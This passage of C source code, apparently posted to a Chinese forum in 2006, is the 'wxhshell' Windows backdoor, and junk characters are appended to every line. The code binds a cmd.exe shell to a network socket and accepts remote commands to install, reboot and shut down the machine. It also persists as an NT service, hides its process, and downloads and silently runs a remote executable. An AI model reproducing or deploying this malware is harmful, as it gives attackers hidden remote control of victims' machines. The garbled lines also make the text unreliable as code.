  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F39H@%R  
  } <u Kd)l  
  else { wnr<# =,I'  
S@^o=B]]  
    switch(cmd[0]) { \ y}!yrQ  
  O}Mu_edM  
  // 帮助 6Qw5_V^0o  
  case '?': { ,3P@5Ef  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D~T;z pS  
    break; 9,J^tN@^  
  } - xE%`X  
  // 安装 7mBH #Q)  
  case 'i': { A1p87o>  
    if(Install()) h( V:-D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3I.0jA#T&/  
    else !V O^oD7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'L5ih|$>  
    break; *I<L1g%9d  
    } BTAt9Z8qK  
  // 卸载 3vC"Q!J&  
  case 'r': { 4 >`2vb  
    if(Uninstall()) /73ANQ"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C &~s<tcn  
    else vAt ]N)R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Z}3XVZEN  
    break; QJ^'Uyfdn  
    } my+2@ln  
  // 显示 wxhshell 所在路径 f j:q>}V  
  case 'p': { {W11+L{8  
    char svExeFile[MAX_PATH]; aUYq~E tj  
    strcpy(svExeFile,"\n\r"); ,>Yl(=&  
      strcat(svExeFile,ExeFile); 4^3lG1^YY  
        send(wsh,svExeFile,strlen(svExeFile),0); \ 3XG8J  
    break; /3KPK4!m  
    } |x+g5~$  
  // 重启 !eP)"YWI3  
  case 'b': { NjH` AMGBT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A9 ;!\Wo  
    if(Boot(REBOOT)) r>,s-T!7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f=T-4Of  
    else { w,!IvDCAw  
    closesocket(wsh); Y2d(HD@  
    ExitThread(0); m4_ZGjmJM  
    }  sg9  
    break; z~($ "  
    } w^Atd|~gi  
  // 关机 ESyb34T`  
  case 'd': { bB+ 4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TJ_pMU  
    if(Boot(SHUTDOWN)) qx f8f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VXP@)\!  
    else { J>dIEW%u  
    closesocket(wsh); EGw;IFj)  
    ExitThread(0); vT{+Z\LL=  
    } khQ@DwO*\=  
    break; h]>7Dl]  
    } Rc2JgV  
  // 获取shell (TTS-(  
  case 's': { iPCDxDLN3V  
    CmdShell(wsh); K:L_y 1!T  
    closesocket(wsh); 5MHc gzyp  
    ExitThread(0); #D ]P3  
    break; ^|UD&6 dx  
  } KbGz3O'u  
  // 退出 Ux-i iH#s  
  case 'x': { S.R|Bwj}(Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }'WEqNuE  
    CloseIt(wsh); 9,cMb)=0  
    break; n%K^G4k^  
    } rGm xK|R  
  // 离开 z]HaE|j}S  
  case 'q': { 1{-yF :A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bR'UhPs-8;  
    closesocket(wsh); 3XSfXS{lwP  
    WSACleanup(); oYAHyCkVq  
    exit(1); 6m mc{kw'  
    break; pg.BOz\'q  
        } K};~A?ET,h  
  } 1"S~#  
  } P^^WViVX  
{wh, "Ok_  
  // 提示信息 G Q\;f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gaWJzK Yc_  
} i)q8p  
  } E(!b_C&  
[=]LR9c4  
  return; ,B1~6y\b  
} ?bGk%jjHXM  
h|%a}])G)  
// shell模块句柄 zGtv(gwk  
int CmdShell(SOCKET sock) ht_'GBS)  
{ ZtGtJV"H  
STARTUPINFO si; Vb,'VN%   
ZeroMemory(&si,sizeof(si)); x(7Q5Uk\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; td5! S]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fk2p}  
PROCESS_INFORMATION ProcessInfo; c&'5r OY~  
char cmdline[]="cmd"; agd^ga3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D}~uxw;[^  
  return 0; !W/"Z!k  
} ^4Tf6Fw#  
k!py*noy  
// 自身启动模式 a: 2ezxP  
int StartFromService(void) _6.Y3+7I  
{ |_m N:(3  
typedef struct Jd28/X5&  
{ w5`EJp8MC  
  DWORD ExitStatus; `Sal-|[Cv[  
  DWORD PebBaseAddress; & ^;3S*p  
  DWORD AffinityMask; o[%\W  
  DWORD BasePriority; . "Q}2  
  ULONG UniqueProcessId; QxT\_Nej*n  
  ULONG InheritedFromUniqueProcessId; oVQbc \P3  
}   PROCESS_BASIC_INFORMATION; R!rj:f!>  
~EM(*k._  
PROCNTQSIP NtQueryInformationProcess; rUg|5EN^)d  
tE<'*o'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'fPDODE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u]Z;Q_=  
7O,!67+^~  
  HANDLE             hProcess; e.WKf,e"X  
  PROCESS_BASIC_INFORMATION pbi; uxlrJ1~M  
v}TFM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  {gb` %J  
  if(NULL == hInst ) return 0; %5!K?,z%  
Ch_eK^ g1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RMHJI6?LB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y I}>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kD}vK+  
RT<HiVr`  
  if (!NtQueryInformationProcess) return 0; >%LY0(hY3  
rgF4 W8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )]C(NTfxg  
  if(!hProcess) return 0; d:{}0hmxI  
S]Ye`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "KgNMNep  
dP?QPky{9  
  CloseHandle(hProcess); .Bojb~zt  
1 %8JMq\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7Y5.GW\^  
if(hProcess==NULL) return 0; N(%(B  
ZF@$3   
HMODULE hMod; Of>2m<  
char procName[255]; \. a7F4h  
unsigned long cbNeeded; $f=6>Kn|^]  
~l}\K10L*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !8&EkXTw,  
[lGxys)J  
  CloseHandle(hProcess); B+z>$6  
/[A#iTe  
if(strstr(procName,"services")) return 1; // 以服务启动 K[S)e!\.  
&WZ&Tt/)/  
  return 0; // 注册表启动 z"-oD*ICw  
} PYTwyqS  
;;+h4O )  
// 主模块 og&-P=4O  
int StartWxhshell(LPSTR lpCmdLine) zUq(bD  
{ Qna*K7kv  
  SOCKET wsl; fr`Q 5!0  
BOOL val=TRUE; gv){&=9/  
  int port=0; _'l"Dk  
  struct sockaddr_in door; O l;DJV  
(4|R}jv  
  if(wscfg.ws_autoins) Install(); n`V?n  
D!z'Y,.  
port=atoi(lpCmdLine); 5+UNLvsZ  
-$$mrU  
if(port<=0) port=wscfg.ws_port; <H$!OPV  
L tUvFe  
  WSADATA data; W#2} EX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "R"{xOQl  
@w;$M]o1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Oh%p1$H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b! r%4Ah  
  door.sin_family = AF_INET; qkqtPbQ 7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c Qe3  
  door.sin_port = htons(port); `g <0FQA  
jig3M N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bd H+M?k  
closesocket(wsl); I%NeCd  
return 1; S gssNv  
} )Y6\"-M[  
rBOH9L  
  if(listen(wsl,2) == INVALID_SOCKET) { {< EPm&q  
closesocket(wsl); R{ udV  
return 1; >!Xj%RW  
} USaa#s4'  
  Wxhshell(wsl); =R"LB}>h}  
  WSACleanup(); P@D\5}*6  
a_-@rceU  
return 0; w|Ry) [  
f8ZuG !U  
} #lc6-K#  
d2TIG<6/  
// 以NT服务方式启动 w@Asz9Lq%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z}{]/=h  
{ Xpp v  
DWORD   status = 0; Uf MQ?(,  
  DWORD   specificError = 0xfffffff; qoZ)"M  
,.h@tN<C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OZC yg/K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jFip-=T{4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  e<(6x[_  
  serviceStatus.dwWin32ExitCode     = 0; o1"N{ Eu  
  serviceStatus.dwServiceSpecificExitCode = 0; d]:G#<.  
  serviceStatus.dwCheckPoint       = 0; 3V7WIj<  
  serviceStatus.dwWaitHint       = 0; R+_!FnOJ  
sPVE_n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,SNt*t1"  
  if (hServiceStatusHandle==0) return; 3hxV`rb  
6}VFob#h8  
status = GetLastError(); e=aU9v L  
  if (status!=NO_ERROR) |KVVPXtq%C  
{ <sw=:HU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A3*(c3  
    serviceStatus.dwCheckPoint       = 0; NC Y2^  
    serviceStatus.dwWaitHint       = 0; hn\d{HP  
    serviceStatus.dwWin32ExitCode     = status; h-RhmQA=Iz  
    serviceStatus.dwServiceSpecificExitCode = specificError; Sk)lT^by  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (&v,3>3]  
    return; }!?RB v'W  
  } Gs,e8ri!  
;)wk ^W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e ;^}@X  
  serviceStatus.dwCheckPoint       = 0; GgnR*DVP$  
  serviceStatus.dwWaitHint       = 0; C|2|OTtQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &,=FPlTC=  
} e6bh,BwgQq  
BoST?"&}'  
// 处理NT服务事件,比如:启动、停止 \q3ui}-9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *A4eYHn@  
{ [S8*b^t4  
switch(fdwControl) 2i;ox*SfpU  
{ cD=IFOB*GD  
case SERVICE_CONTROL_STOP: N UJ $)qNA  
  serviceStatus.dwWin32ExitCode = 0; ly35n`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aC%Q.+-t  
  serviceStatus.dwCheckPoint   = 0; Jgg<u#  
  serviceStatus.dwWaitHint     = 0; l5~O}`gfh  
  { ml Cg&fnDB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1e7I2g  
  } ek U%^R<  
  return; (9kR'kr  
case SERVICE_CONTROL_PAUSE: WUo\jm[yr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `34{/ }w  
  break; /HS"{@Z"h  
case SERVICE_CONTROL_CONTINUE: L &hw- .Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wW/q#kc  
  break; X/90S2=P  
case SERVICE_CONTROL_INTERROGATE: c8Ud<M .  
  break; Zd%wX<hU"  
}; XogCq?_m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v;U5[  
} rGXUV`5Na  
k3nvML,bv  
// 标准应用程序主函数 .Gvk5Wn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) , ,ng]&%i  
{ eV/oY1B]<  
Dte5g),R  
// 获取操作系统版本 HyOrAv <  
OsIsNt=GetOsVer(); UqyW8TCf?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q mv0LU  
$COjC!M  
  // 从命令行安装 \v5;t9uBZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); c#"t.j<E}  
zH6@v +gb  
  // 下载执行文件 2%6 >)|  
if(wscfg.ws_downexe) { {7c'%e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #^Pab^Y3r-  
  WinExec(wscfg.ws_filenam,SW_HIDE); EpyMc+.Ze'  
} -{8K/!  
deVnAu =  
if(!OsIsNt) { >C!^%e;m  
// 如果时win9x,隐藏进程并且设置为注册表启动 @SpP"/)JY  
HideProc(); ZTz07Jt  
StartWxhshell(lpCmdLine); |FM*1Q[1  
} <Z<meB[g  
else V>,=%r4f  
  if(StartFromService()) 'P" i9j  
  // 以服务方式启动 9=3DYCk/  
  StartServiceCtrlDispatcher(DispatchTable); vJ=Q{_D=\  
else CswKT 9  
  // 普通方式启动 i%i />;DF  
  StartWxhshell(lpCmdLine); 1JfZstT  
<F(2D<d{;)  
return 0; N$IA~)  
}
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只看该作者 1 发表于: 2006-10-10
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